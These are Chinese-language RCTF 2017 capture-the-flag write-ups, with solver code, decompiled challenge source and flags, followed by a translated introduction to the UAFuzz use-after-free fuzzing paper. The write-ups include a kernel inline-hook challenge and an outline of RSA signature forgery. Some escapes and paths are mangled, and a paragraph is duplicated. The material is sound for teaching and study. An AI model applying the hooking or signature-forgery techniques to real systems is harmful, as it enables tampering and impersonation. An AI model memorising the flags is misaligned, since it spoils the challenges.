即可找到 strcmp 的反编译代码. 它看上去类似汇编, 有ebp, 而判断语句, 循环语句已经被 FFDec 给转换成了 while 和 if,
比直接看汇编要容易的多. si, li等操作就是直接操作内存.
public function F_strcmp() : void
{
// method body index: 390 method index: 510
var ebp:* = 0;
var i2:int = 0;
var esp:* = int(ESP);
ebp = esp;
esp = int(esp - 44);
si32(int(li32(ebp)),ebp - 4);
si32(int(li32(ebp + 4)),ebp - 8);
si32(int(li32(ebp - 4)),ebp - 24);
si32(int(li32(ebp - 8)),ebp - 28);
si32(2,ebp - 32);
si32(3,ebp - 36);
si32(0,ebp - 40);
si32(0,ebp - 44);
while(int(li8(int(li32(ebp - 24)))) != 0)
{
if(int(li8(int(li32(ebp - 28)))) == 0)
{
break;
}
var i1:int = li8(int(li32(ebp - 28)));
if(int(li8(int(li32(ebp - 24)))) == i1)
{
var i0:int = li32(ebp - 40);
i2 = 1;
if(i0 != int(int(li32(ebp - 32)) << 1))
{
i2 = 0;
}
i0 = i2 & 1;
si8(i0,ebp - 17);
i0 = li32(ebp - 40);
i0 = i0 + 1;
si32(i0,ebp - 40);
i0 = li8(ebp - 17);
if(i0 != 0)
{
si32(int(int(li32(ebp - 24)) + 1),ebp - 24);
si32(int(int(li32(ebp - 32)) + int(li32(ebp - 36))),ebp - 44);
si32(int(li32(ebp - 36)),ebp - 32);
si32(int(li32(ebp - 44)),ebp - 36);
}
si32(int(int(li32(ebp - 24)) + 1),ebp - 24);
si32(int(int(li32(ebp - 28)) + 1),ebp - 28);
continue;
}
break;
}
i0 = si8(li8(int(li32(ebp - 28))));
si32(int(int(si8(li8(int(li32(ebp - 24))))) - i0),ebp - 16);
si32(int(li32(ebp - 16)),ebp - 12);
eax = int(li32(ebp - 12));
esp = ebp;
ESP = esp;
}
C++ 源码:
#include <stdio.h>
#include <unistd.h>
#include <AS3/AS3.h>
int strcmp(const char* s1, const char* s2) {
char* p1 = (char*)s1;
char* p2 = (char*)s2;
int a = 2, b = 3, i = 0, t = 0;
while (*p1 && *p2 && *p1 == *p2) {
if (i++ == a*2) {
p1++;
t = a + b;
a = b;
b = t;
}
p1++;
p2++;
}
return *p1 - *p2;
}
void check() __attribute__((used,
annotate("as3sig:public function check(src:String):void"),
annotate("as3package:MyCPP")));
void check()
{
const char *flag = NULL;
AS3_MallocString(flag, src);
puts(flag);
if (strcmp("RCTF{_Dyiin9__F1ash__1ike5_CPP}", flag) == 0) {
puts("Right!");
} else {
puts("Try again!");
}
}
int main()
{
// RCTF{Dyin9_F1ash_1ike5_CPP}
puts("press Enter to input your flag.");
return 0;
}
**actually_cpp**
Category:RE
解题思路大致与 baby_flash 相似, 只不过主逻辑使用了 AES 加密明文与已有数据比较.
这里声明的 key 和 iv 会被后面的 brainfuck 修改.
有两种解法, 一是修改 bytecode 将 encrypt 改为 decrypt 然后修改输出就能直接解出 flag.
另外一种是模拟 brainfuck 的代码将 key 和 iv 修改后再解密也能拿到 flag. iv 的修改容易被人忽略, 需要细心.
void check()
{
const char *enc = "xd5x18x61x03x1ex1cx95x3ax62xc2x93x8bx39x62x35xb1xf3x64x94x2fx33x95x42x23xd3x6cx26x88xabx2ax3fx47x94x28xb4x46xa5x09x04x21xacx1fx82xbaxb4xb3x28x4exc0xbcxefx53xfcx43x31x5cxdax7cx83xd0xfax90xb5x9f";
const char *flag = NULL;
AS3_MallocString(flag, src);
puts(flag);
uint8_t key[] = {0x38, 0x6b, 0x27, 0x89, 0x1d, 0xc9, 0x8b, 0xb9, 0x13, 0x57, 0xae, 0x7d, 0xbe, 0x90, 0x09, 0xe0};
uint8_t iv[] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f};
int flen = strlen(flag);
brainfuck(">>>>>+++++<<<<----->>>++<<<<<<<<<-----", (unsigned char*)key);
uint8_t *buffer = (uint8_t*)malloc(64);
memset(buffer, 0, 64);
AES128_CBC_encrypt_buffer(buffer, (uint8_t*)flag, flen, key, iv);
if (memcmp(enc, buffer, 64) == 0)
{
puts("Congratulations");
} else {
puts("Try again!");
}
free(buffer);
}
**crackme**
Category:RE Score:714
关键函数为sub_403210。将输入拷贝到变量里面（unicode字符），并且对输入作变换，然后将变换后的输入跟内置数据比较，这题的关键地方就是对输入做的变换，函数是sub_401340，一开始可以看到12组字符串，先对前8组字符串分别作md5值，
同样又求后四组字符串的md5值，然后用前8组md5值和输入作参数，传递给函数sub_401040，
该函数运行过后，输入会有变化，然后再把输入跟后四组字符串的md5值异或
函数sub_401040其实是做了RC6加密，Google搜一下函数里的常量值0x5BF76637就可以看到（http://webcache.googleusercontent.com/search?q=cache:iMqTMnspPxsJ:www.fobwaimao.com/thread-213714.htm+&cd=1&hl=en&ct=clnk&gl=us），然后根据网上的代码改一下，就可以求出flag，有个地方注意一下，网上的代码里是调换前5个比特与后27个比特，而程序里是调换前8个比特与后24个比特，脚本如下：
#include <Windows.h>
#include <stdio.h>
typedef struct _context
{
unsigned int unkonwn1;
unsigned int *sn;
int len;
unsigned int key_a;
unsigned int key_b;
unsigned int key_table[32];
unsigned int key_d;
unsigned int key_e;
}context;
unsigned int shrl(unsigned int a1, char a2)
{
return (a1 << a2) | (a1 >> (32 - a2));
}
unsigned int __stdcall inner_log(int a1)
{
return (unsigned int)(a1 << (32 - (unsigned __int64)(signed __int64)(5))) >> (32- (unsigned __int64)(signed __int64)(5));
}
unsigned int shlr(unsigned int a1, char a2)
{
return (a1 >> a2) | (a1 << (32 - a2));
}
unsigned char data[] = {
202, 244, 96, 22, 220, 183, 47, 113, 61, 234, 125, 243, 200, 46, 168, 23,
46, 58, 71, 206, 51, 133, 227, 16, 79, 177, 133, 93, 135, 176, 5, 132,
252, 202, 143, 137, 244, 54, 23, 189, 225, 141, 241, 137, 91, 63, 55, 228,
39, 38, 239, 209, 106, 223, 177, 218, 240, 99, 4, 143, 215, 121, 80, 34,
77, 212, 102, 208, 225, 224, 204, 18, 58, 251, 229, 4, 218, 36, 98, 202,
51, 197, 212, 149, 77, 168, 129, 129, 68, 32, 243, 186, 57, 119, 38, 68,
247, 189, 97, 107, 108, 132, 29, 37, 56, 115, 95, 118, 209, 224, 43, 87,
27, 194, 155, 54, 246, 35, 186, 130, 170, 246, 114, 79, 211, 177, 103, 24};
void encrypt(context *ctx, bool encrypt)
{
int *cur_dword; // esi@2
unsigned int *tmp_key; // ebx@2
int fourth_dword; // eax@3
unsigned int v10; // ST28_4@3
unsigned int v14; // eax@3
bool v18; // zf@3
signed int block_size; // [sp+24h] [bp-Ch]@2
unsigned int offset = 0;
if (ctx->len)
{
if (encrypt)
{
do
{
cur_dword = (int *)((unsigned char*)ctx->sn + offset);
tmp_key = &ctx->key_table[31];
block_size = 16;
*cur_dword -= ctx->key_d;
cur_dword[2] -= ctx->key_e;
do
{
fourth_dword = cur_dword[3];
cur_dword[3] = cur_dword[2];
cur_dword[2] = cur_dword[1];
cur_dword[1] = *cur_dword;
*cur_dword = fourth_dword;
v10 = shrl(cur_dword[1] * (2 * cur_dword[1] + 1), 8); //调换前8个比特与后24个比特
v14 = shrl((DWORD)cur_dword[3] * (2 * (DWORD)(cur_dword[3]) + 1), 8);
*cur_dword = v10 ^ shlr(*cur_dword - *(tmp_key - 1), inner_log(v14));
cur_dword[2] = ((DWORD)v14) ^ shlr(cur_dword[2] - *tmp_key, inner_log(v10));;
tmp_key -= 2;
v18 = block_size-- == 1;
} while (!v18);
offset += 16;
cur_dword[1] -= ctx->key_a;
cur_dword[3] -= ctx->key_b;
} while (offset < ctx->len);
}
else
{
do
{
cur_dword = (int *)((unsigned char*)ctx->sn + offset);
tmp_key = &ctx->key_table[-1];
block_size = 16;
cur_dword[1] += ctx->key_a;
cur_dword[3] += ctx->key_b;
do
{
tmp_key += 2;
v10 = shrl(cur_dword[1] * (2 * cur_dword[1] + 1), 8); //调换前8个比特与后24个比特
v14 = shrl((DWORD)cur_dword[3] * (2 * (DWORD)(cur_dword[3]) + 1), 8);
int y = *cur_dword ^v10;
int x = shrl(y, inner_log(v14));
*cur_dword = x + *(tmp_key - 1);
int n = cur_dword[2] ^ ((DWORD)v14);
int m = shrl(n, inner_log(v10));
cur_dword[2] = m + *tmp_key;
fourth_dword = *cur_dword;
*cur_dword = cur_dword[1];
cur_dword[1] = cur_dword[2];
cur_dword[2] = cur_dword[3];
cur_dword[3] = fourth_dword;
v18 = block_size-- == 1;
} while (!v18);
*cur_dword += ctx->key_d;
cur_dword[2] += ctx->key_e;
offset += 16;
} while (offset < ctx->len);
}
}
}
char sn[64] = "11111111111111111111111111111111";
unsigned char g_data[64] = {243, 56, 159, 56, 241, 33, 111, 152, 99, 239, 107, 106, 185, 26, 56, 181, 116, 137, 164, 250, 121, 22, 144, 200, 113, 46, 201, 99, 13, 223, 111, 77, 114, 127, 192, 105, 61, 118, 63, 238, 201, 35, 52, 118, 45, 183, 28, 56, 120, 247, 197, 41, 106, 19, 12, 188, 94, 179, 174, 182, 98, 188, 10, 56};
int main(int argc, char* argv[])
{
int i;
context ctx = { 0 };
ctx.sn = (unsigned int*)sn;
ctx.len = 64;
ctx.key_a = 0x5bf76637;
ctx.key_b = 0x4748da7a;
memcpy(ctx.key_table, data, 4 * 32);
ctx.key_d = 0x7faf076d;
ctx.key_e = 0x9bd7fa4c;
encrypt(&ctx, 1);
encrypt(&ctx, 0);
ctx.sn = (unsigned int*)g_data;
for(i=0;i<64;i++)
printf("%x ",*((unsigned char *)ctx.sn+i));
printf("nn");
encrypt(&ctx, 0);
for(i=0;i<64;i++)
printf("%02x",*((unsigned char *)ctx.sn+i));
return 0;
}
570065006c0063006f006d006500200074006f002000720063007400660032003000310037002c0020006e0069006300650020006400610079002e0000000000
unicode的字符编码，转换成字符：Welcome to rctf2017, nice day.
**easyre**
Category:RE Score:153
upx加壳。脱壳即可。
屏幕输入的值需要与子进程的id一致才行。
获得假的flag。
lol函数打印flag。
1！=0，因此程序永远跳转loc_80486D3。 通过修改二进制，更改汇编指令即可得到正确的flag。
或者通过lol函数算法取得：
temp = [
[1, 1],
[4, 5],
[8, 9],
[12, 12],
[18, 17],
[10, 21],
[9, 25]
]
key = "69800876143568214356928753"
flag = ""
for i in temp:
flag += chr(ord(key[i[0]]) + ord(key[i[1]]))
print flag
正确的flag：rhelheg
**HelloDalivk**
Category:RE
首先，我想道个歉。由于我个人的失误，导致大佬们体验下降。对于此次不断更新题目，感到万分抱歉！！
下面说一下我的出题思路：
在Dalvik虚拟机下，由于程序启动时，系统将dex文件直接映射到内存，因此，我们可以通过修改内存中字节码来实现代码逻辑的改变。刚开始是不希望选手通过动态调试得到我修改完的方法逻辑。因此设定刚开始修改后的逻辑是不可用的，目的是要选手通过逆向so文件修复代码，得到正确逻辑。但是由于题目没有讲清楚，导致坑点太大。根据选手提问得到的反馈，都没有往这方面想的意思，决定在题目里加点提示，但是上传了有问题的版本。因为剩余时间的缘由，最后上传那一次我我就自己把坑补上了(哭)。
这里我们主要看libnative-lib.so文件：
首先通过/proc/pid/maps找到dex文件的内存地址，进而根据要修改的类字符串找到具体方法的偏移地址：
stridx->TypeIdx->ClassDefItem->ClassDataItem
->MethodIdx + ClassDataItem
->EncodeMethod---->code_off
关于dex的具体结构大家可以在源码dalviklibdexDexClass.h 和 dalviklibdexDexFile.h 中找到。
接下来是代码修改逻辑，有个坑点在这：这里用了随机数决定代码修改后的逻辑，由于是伪随机，所以结果可预测，需要根据原有指令码修改成可执行代码。(没有给足提示，后来被改掉了)
之后我们就知道了
MathMethod_4 -> add;
MathMethod_1 -> mod;
原版本是:MathMethod_4-> mod MathMethod_1->mul
//顺便说下，在某些特定API版本随机数是可以得到上面结果的不需要改(我的API18就行233333
接下来就剩下payload了
因为变换比较复杂，可以选择暴力破解。这里有两种思路，一是根据代码：将字符的ASCII码个位数和十位数分离，然后打表爆破；二是直接爆破可见字符串。
这里给出爆破可见字符串代码：
def get_pwd(str, num):
if(num == 1):
for x in str:
yield x
else:
for x in str:
for y in get_pwd(str, num-1):
yield x + y
def flag():
i = 0
for flag_1 in get_pwd(code_4,3):
result_1 = ''
result_2 = ''
for i in range(32):
a = i % len(flag_1)
b = i % len(code_3)
c = b + (ord(flag_1[a]) % 10)
d = c % ord(code_3[b])
e = c * d
f = d ^ ord(code_3[a])
g = e + f
result_1 += chr(g & 0xff)
for i in range(32):
result_2 += code_2[int(ord(flag_1[ i % len(flag_1)]) / 10 % 10 + ord(result_1[i])) % 16]
if (code_1 == result_2):
print ('good')
print (result_2)
print (flag_1)
**I Need a Waiter**
Category:RE
题目是用 TypeScript 写的, 可以用 Generator is already executing. 报错信息搜索得知. 因此安装
TypeScript 随意编译一个带有 async/await 语法的程序即可推出程序原结构.
整个程序使用 async/await 编写, 目前的 js 调试器对这种程序都不好调试(如单步调试等方法). 所以可以使用在每个函数的开始结尾打 log
或者改写 Array.prototype.push 之类函数的进行行为分析.
使用 tsc 直接编译程序即可得到未混淆的 js 代码. (见 dist/ts1.js)
**MyDriver2**
Category:RE Score:392
一个简单的Inlinehook，hook NtCreateFile 函数。
在任意路径打开文件名为 P_giveMe_flag_233.txt 的文件超过8次，在第9次打开 P_giveMe_flag_233.txt
的时候就会在里面写入flag。 文件名进过简单的加密，加密的 key 是自己构造的一段 win64 的汇编生成。
the flag is A_simple_Inline_hook_Drv
**uwp**
Category:RE Score:454
安装uwp需要开启开发者模式，以及开启powershell的运行权限 用powershell运行Add-AppDevPackage.ps1，安装应用。
安装后可以在windows的菜单中找到应用，打开发现一个输入框和一个按钮getflag，输入数字可以得到返回。 逆向uwp可以使用Telerik
JustDecompile这款软件，.appxbundle后缀的文件是程序主体，不能直接托进入逆，
这是打包过的程序，直接解压可以发现arm，x64，x86版的appx，可以选择x86的appx放入Telerik
JustDecompile中，找到MainPage，可以看待代码逻辑，代码非常简单，只是一个数据库查询，但数据库内容使用aes加密，密钥是
Package.get_Current().get_Id().get_FamilyName().Substring(0, 16)， 这是uwp的
Package Family
Name，是每个uwp应用独一无二的身份id，可以在安装后在C:Users(username)AppDataLocalPackages(packagename)
可以找到，或者继续解压appx在AppxManifest.xml中找到,或者。
之后解压appx中找到sqlite，解密遍历一遍，找到'RCTF{'开头的明文即flag
MainPage.xaml
<Page
x:Class="RCTF.MainPage"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:local="using:RCTF"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
mc:Ignorable="d">
<Grid Background="{ThemeResource ApplicationPageBackgroundThemeBrush}">
<Button x:Name="button"
Content="GetFlag"
HorizontalAlignment="Left"
Margin="233,119,0,0"
VerticalAlignment="Top"
Click="button_Click"/>
<TextBlock x:Name="textBlock"
HorizontalAlignment="Left"
Margin="233,180,0,0"
TextWrapping="Wrap"
VerticalAlignment="Top"
Height="28"
Width="583"/>
<TextBox Name="textBox"
VerticalAlignment="Top"
TextWrapping="Wrap"
Width="370"
Margin="233,56,0,0"
HorizontalAlignment="Left"
/>
</Grid>
</Page>
MainPage.xaml.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices.WindowsRuntime;
using Windows.Foundation;
using Windows.Foundation.Collections;
using Windows.UI.Xaml;
using Windows.UI.Xaml.Controls;
using Windows.UI.Xaml.Controls.Primitives;
using Windows.UI.Xaml.Data;
using Windows.UI.Xaml.Input;
using Windows.UI.Xaml.Media;
using Windows.UI.Xaml.Navigation;
using Windows.Security.Cryptography;
using Windows.Security.Cryptography.DataProtection;
using Windows.Storage.Streams;
using System.Threading.Tasks;
using SQLite.Net.Attributes;
using SQLite.Net;
using SQLite.Net.Platform.WinRT;
using Windows.Security.Cryptography;
using Windows.Security.Cryptography.Core;
//“空白页”项模板在 http://go.microsoft.com/fwlink/?LinkId=402352&clcid=0x409 上有介绍
namespace RCTF
{
/// <summary>
/// 可用于自身或导航至 Frame 内部的空白页。
/// </summary>
public sealed partial class MainPage : Page
{
//string path = Path.Combine(Windows.Storage.ApplicationData.Current.LocalFolder.Path, "flag.sqlite");
string path = Path.Combine(Windows.ApplicationModel.Package.Current.InstalledLocation.Path, @"Assetsflag.sqlite");
string pfn = Windows.ApplicationModel.Package.Current.Id.FamilyName;
SQLite.Net.SQLiteConnection conn;
public MainPage()
{
this.InitializeComponent();
conn = new SQLiteConnection(new SQLitePlatformWinRT(), path);
conn.CreateTable<flag_table>();
}
private void button_Click(object sender, RoutedEventArgs e)
{
int id;
bool b = int.TryParse(textBox.Text, out id);
if (b)
{
var s = (from p in conn.Table<flag_table>()
where p.Id == id
select p.flag);
foreach (var r in s)
textBlock.Text = "flag:" + dfdfdfd(r);
}
}
public static string asdasd(String input)
{
IBuffer txtBuffer = CryptographicBuffer.ConvertStringToBinary(input, BinaryStringEncoding.Utf8);
string PFN = Windows.ApplicationModel.Package.Current.Id.FamilyName.Substring(0, 16);
string AES_IV = "0000000000000000";
IBuffer iv = System.Text.Encoding.UTF8.GetBytes(AES_IV).AsBuffer();
byte[] keyBtArray = System.Text.Encoding.UTF8.GetBytes(PFN);
SymmetricKeyAlgorithmProvider provider = SymmetricKeyAlgorithmProvider.OpenAlgorithm(SymmetricAlgorithmNames.AesCbcPkcs7);
CryptographicKey m_key = provider.CreateSymmetricKey(keyBtArray.AsBuffer());
IBuffer cryptBuffer = CryptographicEngine.Encrypt(m_key, txtBuffer, iv);
return CryptographicBuffer.EncodeToBase64String(cryptBuffer);
}
public static string dfdfdfd(String input)
{
IBuffer txtBuffer = Convert.FromBase64String(input).AsBuffer();
string PFN = Windows.ApplicationModel.Package.Current.Id.FamilyName.Substring(0, 16);
string AES_IV = "0000000000000000";
IBuffer iv = System.Text.Encoding.UTF8.GetBytes(AES_IV).AsBuffer();
byte[] keyBtArray = System.Text.Encoding.UTF8.GetBytes(PFN);
SymmetricKeyAlgorithmProvider provider = SymmetricKeyAlgorithmProvider.OpenAlgorithm(SymmetricAlgorithmNames.AesCbcPkcs7);
CryptographicKey m_key = provider.CreateSymmetricKey(keyBtArray.AsBuffer());
IBuffer cryptBuffer = CryptographicEngine.Decrypt(m_key, txtBuffer, iv);
return CryptographicBuffer.ConvertBinaryToString(BinaryStringEncoding.Utf8, cryptBuffer);
}
}
public class flag_table
{
public int Id { get; set; }
public string flag { get; set; }
}
}
**MISC**
**light**
Category:MISC Score:434
使用一下代码计算出点击的位置，然后保存到到 1.txt
from libnum import invmod
import numpy as np
import struct
color_num = 2
with open("data", "rb") as f:
s = f.read()
width = struct.unpack("<i", s[:4])[0]
height = struct.unpack("<i", s[4:8])[0]
s = s[8:]
mymap = [0 for i in range(height*width)]
def click(pos):
d = [(2,0),(0,2),(-2,0),(0,-2),(1,1),(1,-1),(-1,1),(-1,-1)]
x, y = pos
for off_x, off_y in d:
if 0<=x+off_x<height and 0<=y+off_y<width:
mymap[(x+off_x)*width + y+off_y] = (mymap[(x+off_x)*width + y+off_y] + 1) % color_num
def clear():
for i in range(height-2):
for j in range(width):
while mymap[i*width+j]:
click((i+2, j))
return mymap[-2*width:]
def solve(a_f, a_y):
f = np.copy(a_f)
y = np.copy(a_y)
n = a_f.shape[0]
for i in range(n):
for j in range(n):
if f[j,i]:
k = 0
while k < i:
if f[j,k] % color_num:
break
k += 1
if k == i:
f[i], f[j] = np.copy(f[j]), np.copy(f[i])
y[i], y[j] = np.copy(y[j]), np.copy(y[i])
break
if f[i,i] % color_num:
for j in range(n):
while j!=i and f[j,i] % color_num:
f[j] = (f[j] + f[i]) % color_num
y[j] = (y[j] + y[i]) % color_num
result = []
for i in range(n):
if(f[i][i]):
result.append((invmod(f[i][i], color_num)*y[i])%color_num)
else:
result.append(0)
assert np.array_equal(a_f.dot(result) % color_num, a_y)
return result
f = []
for i in range(2):
for j in range(width):
click((i,j))
f.append(clear())
for k in range(color_num-1):
click((i,j))
f = np.array(f).T
mymap = []
for i in range(height*width):
mymap.append(ord(s[i]))
y = clear()
result = solve(f, y)
for i in range(len(result)):
result[i] = (color_num-result[i]) % color_num
mymap = []
for i in range(height*width):
mymap.append(ord(s[i]))
with open("1.txt", "wb") as f:
for i in range(len(result)):
while result[i]:
click((i/width, i%width))
f.write("%s %sn" %(i/width, i%width))
result[i] -= 1;
for i in range(height-2):
for j in range(width):
while mymap[i*width+j]:
click((i+2, j))
f.write("%s %sn" %(i+2, j))
编写一个模拟点击的程序 click.exe 读取 1.txt 的内容进行点击，然后就可以得到flag。
附上 click.exe 的源码
#include <stdio.h>
#include <windows.h>
void click(HWND hwnd, int x, int y)
{
SendMessage(hwnd, WM_LBUTTONDOWN, 0, y<<16|x);
SendMessage(hwnd, WM_LBUTTONUP, 0, y<<16|x);
}
int main()
{
int x, y;
int size, height, width;
FILE * d = fopen("data", "rb");
FILE * f = fopen("1.txt", "rb");
HWND hwnd = FindWindow(NULL, "Light");
if(d && f && hwnd)
{
fread(&width,1,4,d);
fread(&height,1,4,d);
size = 512 / (width>height?width:height);
printf("%dn", size);
while(fscanf(f,"%d %d",&y,&x)!=EOF)
{
click(hwnd, x*size, y*size);
}
}
return 0;
}
flag 是 Gaussian_elimination_is_awesome!
**RCTF 2017 baby enc writeup**
本题读取 in.txt ，将每两个相邻字符两两异或，得到一个新的字符串，如此循环六次后写出到 out.txt 。
已知 flag 在 in.txt 中，格式为 RCTF{xxxxxx}，则对于 out.txt 中的每个字符都可以假设它为 RCTF{x 经过 enc()
后的结果，进行爆破即可。
●●●●●☆ (假设前五个字符为“RCTF{”)
○○○○○
○○○○
○○○
○○
● (对于 out.txt 中的每个字符)
**massage**
Category:MISC Score:465
将HEX转BIN后得到一个1679bits的信息
1679=23*73是两个质数之积
然后按73一行进行输入，就可以看到flag。
flag: RCTF{ArEciBo_mEsSaGe}
**mysql**
Category:MISC Score:238
本题考的是 MySQL 的数据恢复。
恢复 MySQL 被删除的数据使用可以使用工具 [undrop-for-innodb](https://weiyiling.cn/media/blogs/one/quick-uploads/p17/undrop-for-innodb-master.zip)
make编译工具，新建backup文件夹并将所需要的相关文件拷贝到文件夹下。
接着如下图所示，工具一步步恢复即可，flag为数据库ctf中user表中flag用户对应密码。
得到 flag：71e55075163d5c6410c0d9eae499c977
**intoU**
Category:MISC
将bmp格式图片信息写入频谱图，加在歌曲末尾。 （原本是将flag切割成几段，穿插剪辑在电音歌曲中电子部分。但是过程中损失较大，不易恢复）
**CRYPTO**
**RSA_sign1/2**
Category:CRYPTO
当客服期间学到的名词Bleichenbacher’s Attack
签名生成后，为满足长度要求（pubkey.n）需进行填充。
在指数很小时，可以通过构造填充部分伪造签名。使签名满足验证要求
0001 fff …… ff 00 ASN.1 HASH
0001 anything 00 ASN.1 HASH
而不被验证的填充部分与私钥生成的签名不同。
对于了解这个漏洞的选手来说是非常简单的题目。
而对于其他选手，RSA_sign1可以算是2的一个hint，通过一个简单的实践了解填充验证方面的问题
**传送门**
* * *
[**RCTF
2017上演安全极客的速度与激情，国际黑马战队motesolo积分榜排名第一！**](http://bobao.360.cn/news/detail/4173.html) | 社区文章 |
# 用于UAF漏洞的二进制级定向模糊测试
##### 译文声明
本文是翻译文章，文章原作者 researchgate，文章来源：researchgate.net
原文地址：<https://www.researchgate.net/publication/339498267_Binary-level_Directed_Fuzzing_for_Use-After-Free_Vulnerabilities>
译文仅供参考，具体内容表达以及含义原文为准。
## 摘要
定向模糊测试着重于通过利用如（部分）bug堆栈追踪、修补程序或危险操作等附加信息，来自动测试代码的特定部分。关键性的应用包括bug复现、补丁测试和静态分析报告验证。尽管定向模糊测试近来受到了广泛关注，但是诸如UAF这类难以检测的漏洞问题仍未得到很好的解决，尤其是在二进制级别。由此，我们提出了“UAFuzz”，这是第一个专用于UAF
bugs的（二进制级）定向灰盒模糊测试器（Greybox
Fuzzer）。该技术的特点是一个根据UAF的具体情况定制的模糊测试引擎、一个轻量级的代码插装和一个高效的bug分类步骤。对真实案例中的bug复现所进行的实验评估表明了，UAFuzz在故障检测率、检测时间和bug分类等方面显著优于目前最先进的定向模糊测试器。UAFuzz在补丁测试中也被证明是有效的，它在Perl、GPAC和GNU补丁中发现了20个新bugs（包括一个buggy补丁），所有这些bugs都被证实，且其中14个已被修复。最后不能不提的是，我们为社会提供了第一套专门针对UAF的模糊测试基准，而该基准是建立在真实代码和真实bugs基础上的。
## 1.介绍
**背景：**
大多数程序都含有bugs，而这些bugs又有可能变成漏洞。因此，及早发现bug是漏洞管理过程中的关键所在。最近在学术界和行业内兴起的模糊测试，比如微软的Springfield和谷歌的OSS-FUZZ，显示了模糊测试可以在现实应用程序中发现各种类型bugs的能力。基于覆盖率的Greybox
Fuzzing（CGF），比如AFL和LIBFUZZER，充分利用代码覆盖率信息来引导输入生成到被测程序的新部分（PUT），为了触发崩溃而探索尽可能多地程序状态。另一方面，定向Greybox
Fuzzing（DGF）旨在对预选的潜在漏洞目标位置进行极限测试，并将应用程序应用于不同的安全上下文：（1）bug复现；（2）补丁测试；（3）静态分析报告验证。根据应用程序的不同，目标位置源自于bug堆栈跟踪、补丁程序或静态分析报告。
我们主要关注bug复现，这是DGF中最常见的实际性应用。包括根据bug报告信息生成已披露的漏洞的概念验证输入（PoC）。由于信息丢失和用户隐私受到侵犯，只有54.9%的错误报告能被复制的时候，bug复现就显得尤为必要了。即使在bug报告中提供了PoC，开发人员仍然需要考虑bug的所有极端案例，以避免回归（循环引用）bug或不完整的修复。在这种情况下，提供更多的bug触发输入对于促进和加速修复过程非常重要。bug堆栈跟踪，在bug触发时函数调用的序列，被广泛用于指导定向模糊测试器。在分析工具（如AddressSanitizer或VALGRIND）下对PoC输入运行代码，将会输出这样的bug堆栈跟踪。
**问题：**
尽管在过去的几年里取得了巨大的进步，但是目前（定向或非定向的）灰盒模糊测试器仍然很难找到复杂的漏洞，如UAF、非干扰的或一些奇怪的bugs，而这些漏洞需要其bug触发路径满足非常特定的属性。比如说，OSS-FUZZ或最近的灰盒模糊测试器s只找到少量UAF。事实上，RODE0DAY作为一个持续性的发掘bugs的竞争，认识到fuzzers在未来应该着眼于覆盖像UAF这类新的bug。比如说，OSS
FUZZ或最近的灰盒模糊测试器s只找到少量UAF。事实上，RODE0DAY作为一个持续性的发掘bugs的竞争，认识到fuzzers在未来应该着眼于覆盖像UAF这类新的bug，从而在被广泛使用的只包含缓冲区溢出的LAVA
bug语料库中更进一步。我们着重于UAF bugs。它们一般出现在堆元素被释放后使用时。国家漏洞数据库（NVD）中的UAF bugs数量一直有所增加。
与其他类型的bugs相比，UAF
bugs由于缺乏缓解技术，它们目前被确定为最关键的可扩展漏洞之一，且可能会造成如数据损坏、信息泄漏和拒绝服务攻击（DoS）等严重后果。
**表1：现有灰盒模糊测试技术的概要**
| AFL | AFLGO | HAWKEYE | UAFUZZ
---|---|---|---|---
定向模糊测试方法 | ✗ | ✓ | ✓ | ✓
支持二进制 | ✓ | ✗ | ✗ | ✓
适用于UAF bug | ✗ | ✗ | ✗ | ✓
快速插桩 | ✓ | ✗ | ✗ | ✓
UAF bug分类 | ✗ | ✗ | ✗ | ✓
**目标和挑战：**
针对UAF，我们集中精力于设计一种高效的定向模糊化处理方法的问题上。由于安全关键程序的源代码并不总是开放可用的，或者可能部分依赖于第三方数据库，因此该技术还必须能够作用于二进制级别（无源代码级插桩）。然而，以检测UAF
bugs为目标的fuzzer面临着以下挑战。
**C1.复杂性：** 执行UAF
bugs需要在同一个内存位置生成触发3个事件（alloc、free和use）序列的输入，这些事件贯穿PUT的多个函数，其中缓冲区溢出只需要一个单独的界外内存访问。这种时间和空间约束的结合在实践中极难满足；
**C2.悄然无声：** UAF
bugs通常没有例如分段错误这类明显的后果。在这种情况下，fuzzers仅简单地观察计算机瘫痪行为是不会检测到测试案例触发了这样的内存错误。遗憾的是，由于运行成本过高，像ASan或VALGRIND等流行的盈利工具，未能在模糊测试环境下使用。
事实上，目前最先进的定向模糊器，即AFLGO和HAWKEYE，并不能应对这些挑战。首先，它们过于通用化，以致于无法处理UAF的特殊性，例如时序性 —
它们的指导性指标没有考虑到任何顺序性的概念。其次，他们对UAF
bugs完全视而不见，却需要将所有生成的种子用于分析工具以支付高昂的额外检查。第三，它们是检测源代码的，因此不适合检测闭源代码可执行文件中的bugs。最后，基于源代码的DGF模糊器在当前的实施中通常会遇到投入成本高昂的插桩步骤，例如，AFLGO花了将近2小时的时间编译和检测cxxfilt（Binutils）。
**建议：** 为了解决上述限制，我们提议UAFuzz，作为第一个专门针对UAF
bugs的（二进制级）定向灰盒模糊器。表1给出了UAFuzz与现有灰盒模糊器在UAF方面的快速比较。虽然我们主要遵循定向模糊化的通用方案，但我们也会根据UAF的具体情况仔细地调整它的几个关键组件：
u距离度量偏好较短的引向目标函数的调用链，这样更可能同时包含分配和自由函数，而soa定向模糊器却仅依赖于通用的基于CFG的距离；
u种子选择现在是基于一个序列感知的目标相似性度量，而soa定向模糊器充其量只依赖于目标覆盖率；
u我们的功率计划得益于这些新指标，再加上另一个偏好前缀路径而被称为“切割边缘”的指标更有可能达成整个目标。
最后，bug分类步骤利用了我们以前的度量来预先确定种子是否可能是bug，并抽检出大量疑似bug留给分析工具进行确认（我们实践中用的是VALGRIND）。
**贡献：** 我们的贡献如下：
v我们设计了第一个针对直接处理可执行文件的UAF
bug的定向灰盒模糊测试技术（见第4节）。尤其是，我们系统地回顾了定向模糊测试的三个主要因素（选择启发式、功率调度、输入度量），并将它们专门化为UAF。实验证明，这些改进是有益的和互补的；
